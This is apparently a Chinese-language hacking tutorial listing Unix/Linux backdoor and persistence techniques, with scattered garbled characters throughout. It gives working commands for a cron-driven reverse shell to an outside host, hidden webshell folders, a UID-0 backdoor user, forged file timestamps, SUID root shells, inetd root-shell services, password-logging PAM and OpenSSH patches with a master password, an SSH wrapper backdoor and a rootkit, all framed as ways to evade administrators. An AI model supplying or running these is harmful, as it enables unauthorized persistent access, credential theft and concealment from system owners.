Unix Bash 遠控后門
- 簡介
利用 Unix/Linux 自帶的 Bash 和 Crond 實現(xiàn)遠控功能副女,保持反彈上線到公網(wǎng)機器。 - 利用方法
先創(chuàng)建 /etc/xxxx 腳本文件(名字自己改)路狮,利用該腳本進行反彈。以下腳本代表全自動反彈到 8.8.8.8 的 53 端口。
nano /etc/xxxx
#!/bin/bash
if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null
then
echo "OK">/dev/null
else
/sbin/iptables --policy INPUT ACCEPT
/sbin/iptables --policy OUTPUT ACCEPT
bash -i >& /dev/tcp/8.8.8.8/53 0>&1
fi
chmod +sx /etc/xxxx
然后我們需要修改一下 /etc/crontab 讓它定時執(zhí)行先匪。
nano /etc/crontab 在 /etc/crontab 文件末加入這一行夕玩。代表每 1 分鐘執(zhí)行一次你弦。
*/1 * * * * root /etc/xxxx
最后重啟一下 crond 的服務。(不同發(fā)行版重啟方式不一樣燎孟,自行查詢)
service cron reload
service cron start
然后在 8.8.8.8 的服務器上使用 NC 接收 Shell 即可禽作。
nc -vv -lp 53
Linux/Unix 藏文件和文件夾
Linux/Unix 下想藏 Webshell 或者后門什么的,可以利用一下隱藏文件夾和文件缤弦。
- 方法一
比如創(chuàng)建一個名字開頭帶 . 的 Webshell 或者文件夾领迈,默認情況下是不會顯示出來的,瀏覽器訪問的時候加點訪問就行碍沐。(查看方法:ls -a)
touch .webshell.php 創(chuàng)建名字為 .webshell.php 的文件
mkdir .backdoor/ 創(chuàng)建名字為 .backdoor 的文件夾 - 終極方法
在管理員喝多了或者腦子轉(zhuǎn)不過來的情況下狸捅,是絕對不會發(fā)現(xiàn)的!至少我用了這么久是沒幾個發(fā)現(xiàn)的累提。
是文件的話瀏覽器訪問直接輸 … 就行尘喝,目錄同理。
touch … 創(chuàng)建名字為 … 的文件
mkdir … 創(chuàng)建名字為 … 的文件夾
效果如圖:
后門整理.png
Linux/Unix 添加 UID 為 0 的用戶
- 簡介
在 Unix 體系下斋陪,UID 為 0 就是 root 權(quán)限朽褪。所以滲透的時候可以添加一個 UID 為 0 的用戶作為后門。 - 利用方法
useradd -o -u 0 backdoor
Linux/Unix 修改文件時間戳
- 簡介
Unix 下藏后門必須要修改時間无虚,否則很容易被發(fā)現(xiàn)缔赠,直接利用 touch 就可以了。
比如參考 index.php 的時間友题,再賦給 webshell.php嗤堰,結(jié)果兩個文件的時間就一樣了。 - 利用方法
touch -r index.php webshell.php
或者直接將時間戳修改成某年某月某日度宦。如下 2014 年 01 月 02 日踢匣。
touch -t 1401021042.30 webshell.php
系統(tǒng)環(huán)境:
dawg:~# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux
SUID shell利用方法
首先, 先切換成為root用戶告匠,并執(zhí)行以下的命令:
dawg:~# cp /bin/bash /.wootdawg:~# chmod 4755 /.wootdawg:~# ls -al /.woot-rwsr-xr-x 1 root root 690668 Jul 24 17:14 /.woot當然, 你也可以起其他更具備隱藏性的名字,我想猥瑣并機智的你,肯定能想出很多好的名字的离唬。文件前面的那一點也不是必要的后专,只是為了隱藏文件( 在文件名的最前面加上“.”,就可以在任意文件目錄下進行隱藏) .
現(xiàn)在输莺,做為一個普通用戶戚哎,我們來啟用這個后門:
fw@dawg:~$ iduid=1000(fw) gid=1000(fw) groups=1000(fw)fw@dawg:~$ /.woot.woot-2.05b$ iduid=1000(fw) gid=1000(fw) groups=1000(fw).woot-2.05b$
為什么不行呢?
因為 bash2 針對 suid有一些護衛(wèi)的措施. 但這也不是不可破的:
.woot-2.05b$ /.woot -p
.woot-2.05b# id
uid=1000(fw) gid=1000(fw) euid=0(root) groups=1000(fw)
使用-p參數(shù)來獲取一個root shell. 這個euid的意思是 effective user id(關(guān)于這些ID的知識,可以戳這里)
這里要特別注意的是模闲,作為一個普通用戶執(zhí)行這個SUID shell時建瘫,一定要使用全路徑。小知識:
如何查找那些具有SUID 的文件:
dawg:~# find / -perm +4000 -ls
這時就會返回具有SUID位的文件啦尸折。
遠程后門利用方法
我們使用vi來修改 /etc/inetd.conf 文件
原文件:
#chargen dgram udp wait root internal[/align] #discard stream tcp nowait root internal
#discard dgram udp wait root internal
#daytime stream tcp nowait root internal
修改為:
#discard stream tcp nowait root internal[/align] #discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
- 開啟inetd:
dawg:~# inetd - 如果要強制重啟inetd:
dawg:~# ps -ef | grep inetdroot 362 1 0 Jul22 ? 00:00:00 /usr/sbin/inetdroot 13769 13643 0 17:51 pts/1 00:00:00 grep inetddawg:~# kill -HUP 362 - 現(xiàn)在我們就可以用nc來爆菊了:
C:tools 192.168.1.77: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [192.168.1.77] 13 (daytime) open
bash: no job control in this shell
bash-2.05b# bash-2.05b#
bash-2.05b# iduid=0(root)
gid=0(root) groups=0(root)bash-2.05b# uname -a
Linux dawg 2.4.20-1-386 #3 Sat Mar 22 12:11:40 EST 2003 i686 GNU/Linux - 可以修改/etc/services文件啰脚,加入以下的東西:
woot 6666/tcp #evil backdoor service
然后修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
我們可以修改成一些常見的端口,以實現(xiàn)隱藏实夹。
PAM后門簡介
PAM (Pluggable AuthenticationModules )是由Sun提出的一種認證機制橄浓。它通過提供一些動態(tài)鏈接庫和一套統(tǒng)一的API,將系統(tǒng)提供的服務和該服務的認證方式分開亮航,使得系統(tǒng)管理員可以靈活地根據(jù)需要給不同的服務配置不同的認證方式而無需更改服務程序荸实,同時也便于向系統(tǒng)中添加新的認證手段。PAM最初是集成在Solaris中缴淋,目前已移植到其它系統(tǒng)中准给,如Linux、SunOS重抖、HP-UX9.0等露氮。
搭建PAM后門主要思路:pam_unix_auth.c打補丁安裝到正常的PAM模塊中。
利用方法
1钟沛、獲取目標系統(tǒng)所使用的PAM版本:
rpm -qa |grep pam
2畔规、編譯安裝PAM
3、將本地pam_unix_auth.c文件通過打補丁方式恨统,編譯生成叁扫。
4、編譯完后的文件在:modules/pam_unix/.libs/pam_unix.so畜埋,后門密碼為root123,并會在/tmp/pslog記錄root登錄密碼莫绣。
特點:
優(yōu)勢:隱蔽性較強,不易被發(fā)現(xiàn)悠鞍。
劣勢:需要編譯環(huán)境对室,缺少GCC或其他依賴包容易出現(xiàn)問題
openssh后門簡介
下載新版本的openssh,并下載對應patch包,這個patch文件包含sshbd5.9p1.diff文件為后門文件软驰,文件包括:auth.c、auth-pam.c心肪、auth-passwd.c锭亏、canohost.c、includes.h硬鞍、log.c慧瘤、servconf.c、sshconnect2.c固该、sshlogin.c锅减、version.h
利用方法
#tar -zxvf openssh-5.9p1.tar.gz
#tar -zxvf 0×06-openssh-5.9p1.patch.tar.gz
vim includes.h //修改后門密碼,記錄文件位置伐坏,
/*
#define ILOG “/tmp/ilog” //記錄登錄到本機的用戶名和密碼
#define OLOG “/tmp/olog” //記錄本機登錄到遠程的用戶名和密碼
#define SECRETPW “root123″ //你后門的密碼
*/優(yōu)勢:隱蔽性較強怔匣,不易被發(fā)現(xiàn)。
劣勢:需要編譯環(huán)境桦沉,缺少GCC或其他依賴包容易出現(xiàn)問題每瞒。
快速獲得ssh后門簡介
就會派生一個31337端口,然后連接31337纯露,用root/bin/ftp/mail當用戶名剿骨,密碼隨意,就可登陸埠褪。
- 利用方法
在遠程主機上執(zhí)行:
#ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;
就會派生一個31337端口浓利,然后連接31337,用root/bin/ftp/mail當用戶名钞速,密碼隨意贷掖,就可登陸。
特點:
優(yōu)勢:隱蔽性較弱玉工,適合短時間連接羽资。
劣勢:重啟后會斷開,無法后彈連接遵班。
SSH wrapper后門簡介
init首先啟動的是/usr/sbin/sshd,腳本執(zhí)行到getpeername這里的時候屠升,正則匹配會失敗,于是執(zhí)行下一句狭郑,啟動/usr/bin/sshd腹暖,這是原始sshd。原始的sshd監(jiān)聽端口建立了tcp連接后翰萨,會fork一個子進程處理具體工作脏答。這個子進程,沒有什么檢驗,而是直接執(zhí)行系統(tǒng)默認的位置的/usr/sbin/sshd殖告,這樣子控制權(quán)又回到腳本了阿蝶。此時子進程標準輸入輸出已被重定向到套接字,getpeername能真的獲取到客戶端的TCP源端口黄绩,如果是19526就執(zhí)行sh給個shell羡洁。
利用方法
客戶端:
[root@localhost ~]# cd /usr/sbin
[root@localhost sbin]# mv sshd ../bin
[root@localhost sbin]# echo ‘#!/usr/bin/perl’ >sshd
[root@localhost sbin]# echo ‘exec “/bin/sh” if(getpeername(STDIN) =~ /^..4A/);’ >>sshd
[root@localhost sbin]# echo ‘exec{“/usr/bin/sshd”} “/usr/sbin/sshd”,@ARGV,’ >>sshd
[root@localhost sbin]# chmod u+x sshd
[root@localhost sbin]# /etc/init.d/sshd restart
控制端:
socat STDIOTCP4:target_ip:22,sourceport=19526
特點:
優(yōu)勢:隱蔽性較強,無需要編譯爽丹,使用于大部分環(huán)境中筑煮。
劣勢:需要重啟sshd進程。
mafix rootkit創(chuàng)建后門簡介
Mafix是一款常用的輕量應用級別Rootkits粤蝎,是通過偽造ssh協(xié)議漏洞實現(xiàn)遠程登陸的特點是配置簡單并可以自定義驗證密碼和端口號真仲。
利用方法
安裝完成后,使用ssh 用戶@IP -P 配置的端口初澎,即可遠程登錄秸应。
特點:
優(yōu)勢:隱蔽性一般,無需要編譯谤狡。
劣勢:會替換ls等命令灸眼,容易被識破